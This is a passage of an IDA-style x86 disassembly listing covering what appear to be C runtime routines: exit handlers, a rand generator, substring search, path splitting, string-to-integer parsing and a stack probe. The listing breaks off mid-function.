sub_417960	proc near		; CODE XREF: sub_41A9A0+22p
					; sub_41AEA0+2F1p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4179C0
		add	esp, 0Ch
		pop	ebp
		retn
sub_417960	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		push	0
		call	sub_4179C0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	1
		push	0
		call	sub_4179C0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179C0	proc near		; CODE XREF: ___:0041794Bp
					; sub_417960+Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_417AB0
		cmp	dword_4DB0EC, 1
		jnz	short loc_4179E3
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 2730F02h
		push	eax
		nop
		call	near ptr 27308F4h


loc_4179E3:				; CODE XREF: sub_4179C0+10j
		mov	dword_4DB0E8, 1
		mov	cl, byte ptr [ebp+arg_8]
		mov	byte_4DB0E4, cl
		cmp	[ebp+arg_4], 0
		jnz	short loc_417A43
		cmp	dword_4DC7D0, 0
		jz	short loc_417A31
		mov	edx, dword_4DC7CC
		mov	[ebp+var_4], edx


loc_417A0E:				; CODE XREF: sub_4179C0:loc_417A2Fj
		mov	eax, [ebp+var_4]
		sub	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC7D0
		jb	short loc_417A31
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_417A2F
		mov	eax, [ebp+var_4]
		call	dword ptr [eax]


loc_417A2F:				; CODE XREF: sub_4179C0+68j
		jmp	short loc_417A0E
; ---------------------------------------------------------------------------


loc_417A31:				; CODE XREF: sub_4179C0+43j
					; sub_4179C0+60j
		push	offset dword_436034
		push	offset dword_43602C
		call	sub_417AD0
		add	esp, 8


loc_417A43:				; CODE XREF: sub_4179C0+3Aj
		push	offset dword_436040
		push	offset dword_436038
		call	sub_417AD0
		add	esp, 8
		cmp	dword_4DB0F0, 0
		jnz	short loc_417A7E
		push	0FFFFFFFFh
		call	sub_4162E0
		add	esp, 4
		and	eax, 20h
		test	eax, eax
		jz	short loc_417A7E
		mov	dword_4DB0F0, 1
		call	sub_416BF0


loc_417A7E:				; CODE XREF: sub_4179C0+9Cj
					; sub_4179C0+ADj
		cmp	[ebp+arg_8], 0
		jz	short loc_417A8B
		call	sub_417AC0
		jmp	short loc_417A9F
; ---------------------------------------------------------------------------


loc_417A8B:				; CODE XREF: sub_4179C0+C2j
		mov	dword_4DB0EC, 1
		mov	ecx, [ebp+arg_0]
		push	ecx
		nop
		call	near ptr 77E75CB5h


loc_417A9F:				; CODE XREF: sub_4179C0+C9j
		mov	esp, ebp
		pop	ebp
		retn
sub_4179C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AB0	proc near		; CODE XREF: sub_4179C0+4p
					; sub_419BD0+4p
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_41B780
		add	esp, 4
		pop	ebp
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AC0	proc near		; CODE XREF: sub_4179C0+C4p
					; sub_419BD0+61p ...
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_41B820
		add	esp, 4
		pop	ebp
		retn
sub_417AC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AD0	proc near		; CODE XREF: ___:0041791Cp
					; ___:0041792Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp


loc_417AD3:				; CODE XREF: sub_417AD0+21j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_417AF3
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0
		jz	short loc_417AE8
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx]


loc_417AE8:				; CODE XREF: sub_417AD0+11j
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		jmp	short loc_417AD3
; ---------------------------------------------------------------------------


loc_417AF3:				; CODE XREF: sub_417AD0+9j
		pop	ebp
		retn
sub_417AD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B00	proc near		; CODE XREF: ___:004027D7p
					; sub_403038+43E2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_41F970
		mov	ecx, [ebp+arg_0]
		mov	[eax+14h], ecx
		pop	ebp
		retn
sub_417B00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B10	proc near		; CODE XREF: ___:loc_4028E7p
					; ___:loc_402C12p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41F970
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	edx, [ebp+var_4]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		shr	eax, 10h
		and	eax, 7FFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_417B10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B50	proc near		; CODE XREF: ___:004028BCp
					; sub_403038+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_417BCA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_417BB7


loc_417B68:				; CODE XREF: sub_417B50+52j
					; sub_417B50+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_417B8A
		test	al, al
		jz	short loc_417B84


loc_417B79:				; CODE XREF: sub_417B50+32j
		mov	al, [esi]
		inc	esi


loc_417B7C:				; CODE XREF: sub_417B50+3Fj
		cmp	al, dl
		jz	short loc_417B8A
		test	al, al
		jnz	short loc_417B79


loc_417B84:				; CODE XREF: sub_417B50+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417B8A:				; CODE XREF: sub_417B50+23j
					; sub_417B50+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_417B7C
		lea	edi, [esi-1]


loc_417B94:				; CODE XREF: sub_417B50+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_417BC3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417B68
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_417BC3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_417B94
		jmp	short loc_417B68
; ---------------------------------------------------------------------------


loc_417BB7:				; CODE XREF: sub_417B50+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_4185C6
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B50+49j
					; sub_417B50+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417BCA:				; CODE XREF: sub_417B50+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417B50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BD0	proc near		; CODE XREF: ___:00402889p
					; sub_403038+3642p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_414BE0
		add	esp, 4
		cmp	eax, 1
		jb	short loc_417C2B
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx+1]
		cmp	edx, 3Ah
		jnz	short loc_417C2B
		cmp	[ebp+arg_4], 0
		jz	short loc_417C20
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_420350
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	byte ptr [edx+2], 0


loc_417C20:				; CODE XREF: sub_417BD0+35j
		mov	eax, [ebp+arg_0]
		add	eax, 2
		mov	[ebp+arg_0], eax
		jmp	short loc_417C37
; ---------------------------------------------------------------------------


loc_417C2B:				; CODE XREF: sub_417BD0+23j
					; sub_417BD0+2Fj
		cmp	[ebp+arg_4], 0
		jz	short loc_417C37
		mov	ecx, [ebp+arg_4]
		mov	byte ptr [ecx],	0


loc_417C37:				; CODE XREF: sub_417BD0+59j
					; sub_417BD0+5Fj
		mov	[ebp+var_C], 0
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		jmp	short loc_417C4F
; ---------------------------------------------------------------------------


loc_417C46:				; CODE XREF: sub_417BD0:loc_417CACj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_417C4F:				; CODE XREF: sub_417BD0+74j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_417CAE
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		xor	edx, edx
		mov	dl, byte_4DB681[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_417C7A
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_417CAC
; ---------------------------------------------------------------------------


loc_417C7A:				; CODE XREF: sub_417BD0+9Dj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Fh
		jz	short loc_417C90
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 5Ch
		jnz	short loc_417C9B


loc_417C90:				; CODE XREF: sub_417BD0+B3j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	short loc_417CAC
; ---------------------------------------------------------------------------


loc_417C9B:				; CODE XREF: sub_417BD0+BEj
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_417CAC
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_417CAC:				; CODE XREF: sub_417BD0+A8j
					; sub_417BD0+C9j ...
		jmp	short loc_417C46
; ---------------------------------------------------------------------------


loc_417CAE:				; CODE XREF: sub_417BD0+87j
		cmp	[ebp+var_C], 0
		jz	short loc_417D04
		cmp	[ebp+arg_8], 0
		jz	short loc_417CFC
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_417CD2
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_14], ecx
		jmp	short loc_417CD9
; ---------------------------------------------------------------------------


loc_417CD2:				; CODE XREF: sub_417BD0+F5j
		mov	[ebp+var_14], 0FFh


loc_417CD9:				; CODE XREF: sub_417BD0+100j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_420350
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0


loc_417CFC:				; CODE XREF: sub_417BD0+E8j
		mov	ecx, [ebp+var_C]
		mov	[ebp+arg_0], ecx
		jmp	short loc_417D10
; ---------------------------------------------------------------------------


loc_417D04:				; CODE XREF: sub_417BD0+E2j
		cmp	[ebp+arg_8], 0
		jz	short loc_417D10
		mov	edx, [ebp+arg_8]
		mov	byte ptr [edx],	0


loc_417D10:				; CODE XREF: sub_417BD0+132j
					; sub_417BD0+138j
		cmp	[ebp+var_8], 0
		jz	loc_417DBA
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_0]
		jb	loc_417DBA
		cmp	[ebp+arg_C], 0
		jz	short loc_417D6F
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_0]
		cmp	ecx, 0FFh
		jnb	short loc_417D45
		mov	edx, [ebp+var_8]
		sub	edx, [ebp+arg_0]
		mov	[ebp+var_18], edx
		jmp	short loc_417D4C
; ---------------------------------------------------------------------------


loc_417D45:				; CODE XREF: sub_417BD0+168j
		mov	[ebp+var_18], 0FFh


loc_417D4C:				; CODE XREF: sub_417BD0+173j
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_420350
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		add	ecx, [ebp+var_10]
		mov	byte ptr [ecx],	0


loc_417D6F:				; CODE XREF: sub_417BD0+15Aj
		cmp	[ebp+arg_10], 0
		jz	short loc_417DB8
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+var_8]
		cmp	edx, 0FFh
		jnb	short loc_417D8E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		jmp	short loc_417D95
; ---------------------------------------------------------------------------


loc_417D8E:				; CODE XREF: sub_417BD0+1B1j
		mov	[ebp+var_1C], 0FFh


loc_417D95:				; CODE XREF: sub_417BD0+1BCj
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_420350
		add	esp, 0Ch
		mov	edx, [ebp+arg_10]
		add	edx, [ebp+var_10]
		mov	byte ptr [edx],	0


loc_417DB8:				; CODE XREF: sub_417BD0+1A3j
		jmp	short loc_417E0E
; ---------------------------------------------------------------------------


loc_417DBA:				; CODE XREF: sub_417BD0+144j
					; sub_417BD0+150j
		cmp	[ebp+arg_C], 0
		jz	short loc_417E02
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		cmp	eax, 0FFh
		jnb	short loc_417DD8
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		jmp	short loc_417DDF
; ---------------------------------------------------------------------------


loc_417DD8:				; CODE XREF: sub_417BD0+1FBj
		mov	[ebp+var_20], 0FFh


loc_417DDF:				; CODE XREF: sub_417BD0+206j
		mov	edx, [ebp+var_20]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_420350
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_10]
		mov	byte ptr [eax],	0


loc_417E02:				; CODE XREF: sub_417BD0+1EEj
		cmp	[ebp+arg_10], 0
		jz	short loc_417E0E
		mov	ecx, [ebp+arg_10]
		mov	byte ptr [ecx],	0


loc_417E0E:				; CODE XREF: sub_417BD0:loc_417DB8j
					; sub_417BD0+236j
		mov	esp, ebp
		pop	ebp
		retn
sub_417BD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417E20	proc near		; CODE XREF: sub_402EC0+8p
					; sub_403038+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417E40


loc_417E2C:				; CODE XREF: sub_417E20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417E2C


loc_417E40:				; CODE XREF: sub_417E20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417E20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_417E70
		add	esp, 10h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E70	proc near		; CODE XREF: ___:00417E61p
					; sub_4181B0+11p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], 0
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_417E94:				; CODE XREF: sub_417E70+77j
		cmp	dword_443B70, 1
		jle	short loc_417EB6
		push	8
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_18], eax
		jmp	short loc_417ED0
; ---------------------------------------------------------------------------


loc_417EB6:				; CODE XREF: sub_417E70+2Bj
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8
		mov	[ebp+var_18], ecx


loc_417ED0:				; CODE XREF: sub_417E70+44j
		cmp	[ebp+var_18], 0
		jz	short loc_417EE9
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_417E94
; ---------------------------------------------------------------------------


loc_417EE9:				; CODE XREF: sub_417E70+64j
		movsx	edx, byte ptr [ebp+var_8]
		cmp	edx, 2Dh
		jnz	short loc_417F0D
		mov	eax, [ebp+arg_C]
		or	al, 2
		mov	[ebp+arg_C], eax
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_417F27
; ---------------------------------------------------------------------------


loc_417F0D:				; CODE XREF: sub_417E70+80j
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 2Bh
		jnz	short loc_417F27
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_8], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_417F27:				; CODE XREF: sub_417E70+9Bj
					; sub_417E70+A4j
		cmp	[ebp+arg_8], 0
		jl	short loc_417F39
		cmp	[ebp+arg_8], 1
		jz	short loc_417F39
		cmp	[ebp+arg_8], 24h
		jle	short loc_417F4E


loc_417F39:				; CODE XREF: sub_417E70+BBj
					; sub_417E70+C1j
		cmp	[ebp+arg_4], 0
		jz	short loc_417F47
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	[edx], eax


loc_417F47:				; CODE XREF: sub_417E70+CDj
		xor	eax, eax
		jmp	loc_41819D
; ---------------------------------------------------------------------------


loc_417F4E:				; CODE XREF: sub_417E70+C7j
		cmp	[ebp+arg_8], 0
		jnz	short loc_417F8C
		movsx	ecx, byte ptr [ebp+var_8]
		cmp	ecx, 30h
		jz	short loc_417F66
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_417F8C
; ---------------------------------------------------------------------------


loc_417F66:				; CODE XREF: sub_417E70+EBj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 78h
		jz	short loc_417F7C
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 58h
		jnz	short loc_417F85


loc_417F7C:				; CODE XREF: sub_417E70+FFj
		mov	[ebp+arg_8], 10h
		jmp	short loc_417F8C
; ---------------------------------------------------------------------------


loc_417F85:				; CODE XREF: sub_417E70+10Aj
		mov	[ebp+arg_8], 8


loc_417F8C:				; CODE XREF: sub_417E70+E2j
					; sub_417E70+F4j ...
		cmp	[ebp+arg_8], 10h
		jnz	short loc_417FCB
		movsx	eax, byte ptr [ebp+var_8]
		cmp	eax, 30h
		jnz	short loc_417FCB
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 78h
		jz	short loc_417FB1
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 58h
		jnz	short loc_417FCB


loc_417FB1:				; CODE XREF: sub_417E70+134j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_417FCB:				; CODE XREF: sub_417E70+120j
					; sub_417E70+129j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_10], eax


loc_417FD6:				; CODE XREF: sub_417E70+26Bj
		cmp	dword_443B70, 1
		jle	short loc_417FF7
		push	4
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_1C], eax
		jmp	short loc_418012
; ---------------------------------------------------------------------------


loc_417FF7:				; CODE XREF: sub_417E70+16Dj
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_1C], eax


loc_418012:				; CODE XREF: sub_417E70+185j
		cmp	[ebp+var_1C], 0
		jz	short loc_418024
		movsx	ecx, byte ptr [ebp+var_8]
		sub	ecx, 30h
		mov	[ebp+var_14], ecx
		jmp	short loc_418083
; ---------------------------------------------------------------------------


loc_418024:				; CODE XREF: sub_417E70+1A6j
		cmp	dword_443B70, 1
		jle	short loc_418049
		push	103h
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		push	edx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_20], eax
		jmp	short loc_418066
; ---------------------------------------------------------------------------


loc_418049:				; CODE XREF: sub_417E70+1BBj
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 103h
		mov	[ebp+var_20], edx


loc_418066:				; CODE XREF: sub_417E70+1D7j
		cmp	[ebp+var_20], 0
		jz	short loc_418081
		movsx	eax, byte ptr [ebp+var_8]
		push	eax
		call	sub_420550
		add	esp, 4
		sub	eax, 37h
		mov	[ebp+var_14], eax
		jmp	short loc_418083
; ---------------------------------------------------------------------------


loc_418081:				; CODE XREF: sub_417E70+1FAj
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_418083:				; CODE XREF: sub_417E70+1B2j
					; sub_417E70+20Fj
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+arg_8]
		jb	short loc_41808D
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_41808D:				; CODE XREF: sub_417E70+219j
		mov	edx, [ebp+arg_C]
		or	edx, 8
		mov	[ebp+arg_C], edx
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_10]
		jb	short loc_4180B3
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_10]
		jnz	short loc_4180C2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	[ebp+var_14], edx
		ja	short loc_4180C2


loc_4180B3:				; CODE XREF: sub_417E70+22Cj
		mov	edx, [ebp+var_C]
		imul	edx, [ebp+arg_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_C], edx
		jmp	short loc_4180CA
; ---------------------------------------------------------------------------


loc_4180C2:				; CODE XREF: sub_417E70+234j
					; sub_417E70+241j
		mov	eax, [ebp+arg_C]
		or	al, 4
		mov	[ebp+arg_C], eax


loc_4180CA:				; CODE XREF: sub_417E70+250j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_8], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_417FD6
; ---------------------------------------------------------------------------


loc_4180E0:				; CODE XREF: sub_417E70:loc_418081j
					; sub_417E70+21Bj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		and	edx, 8
		test	edx, edx
		jnz	short loc_418108
		cmp	[ebp+arg_4], 0
		jz	short loc_4180FF
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4180FF:				; CODE XREF: sub_417E70+287j
		mov	[ebp+var_C], 0
		jmp	short loc_41817A
; ---------------------------------------------------------------------------


loc_418108:				; CODE XREF: sub_417E70+281j
		mov	ecx, [ebp+arg_C]
		and	ecx, 4
		test	ecx, ecx
		jnz	short loc_418142
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jnz	short loc_41817A
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41812F
		cmp	[ebp+var_C], 80000000h
		ja	short loc_418142


loc_41812F:				; CODE XREF: sub_417E70+2B4j
		mov	ecx, [ebp+arg_C]
		and	ecx, 2
		test	ecx, ecx
		jnz	short loc_41817A
		cmp	[ebp+var_C], 7FFFFFFFh
		jbe	short loc_41817A


loc_418142:				; CODE XREF: sub_417E70+2A0j
					; sub_417E70+2BDj
		call	sub_420520
		mov	dword ptr [eax], 22h
		mov	edx, [ebp+arg_C]
		and	edx, 1
		test	edx, edx
		jz	short loc_418160
		mov	[ebp+var_C], 0FFFFFFFFh
		jmp	short loc_41817A
; ---------------------------------------------------------------------------


loc_418160:				; CODE XREF: sub_417E70+2E5j
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_418173
		mov	[ebp+var_C], 80000000h
		jmp	short loc_41817A
; ---------------------------------------------------------------------------


loc_418173:				; CODE XREF: sub_417E70+2F8j
		mov	[ebp+var_C], 7FFFFFFFh


loc_41817A:				; CODE XREF: sub_417E70+296j
					; sub_417E70+2AAj ...
		cmp	[ebp+arg_4], 0
		jz	short loc_418188
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx


loc_418188:				; CODE XREF: sub_417E70+30Ej
		mov	eax, [ebp+arg_C]
		and	eax, 2
		test	eax, eax
		jz	short loc_41819A
		mov	ecx, [ebp+var_C]
		neg	ecx
		mov	[ebp+var_C], ecx


loc_41819A:				; CODE XREF: sub_417E70+320j
		mov	eax, [ebp+var_C]


loc_41819D:				; CODE XREF: sub_417E70+D9j
		mov	esp, ebp
		pop	ebp
		retn
sub_417E70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4181B0	proc near		; CODE XREF: sub_403038+4DB6p
					; sub_403038+4FF0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_417E70
		add	esp, 10h
		pop	ebp
		retn
sub_4181B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4181D0	proc near		; CODE XREF: sub_403038+450Ep
					; ___:00418227p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 26A0AF2h
		test	eax, eax
		jnz	short loc_4181ED
		nop
		call	near ptr 26908EFh
		mov	[ebp+var_4], eax
		jmp	short loc_4181F4
; ---------------------------------------------------------------------------


loc_4181ED:				; CODE XREF: sub_4181D0+10j
		mov	[ebp+var_4], 0


loc_4181F4:				; CODE XREF: sub_4181D0+1Bj
		cmp	[ebp+var_4], 0
		jz	short loc_41820B
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_420480
		add	esp, 4
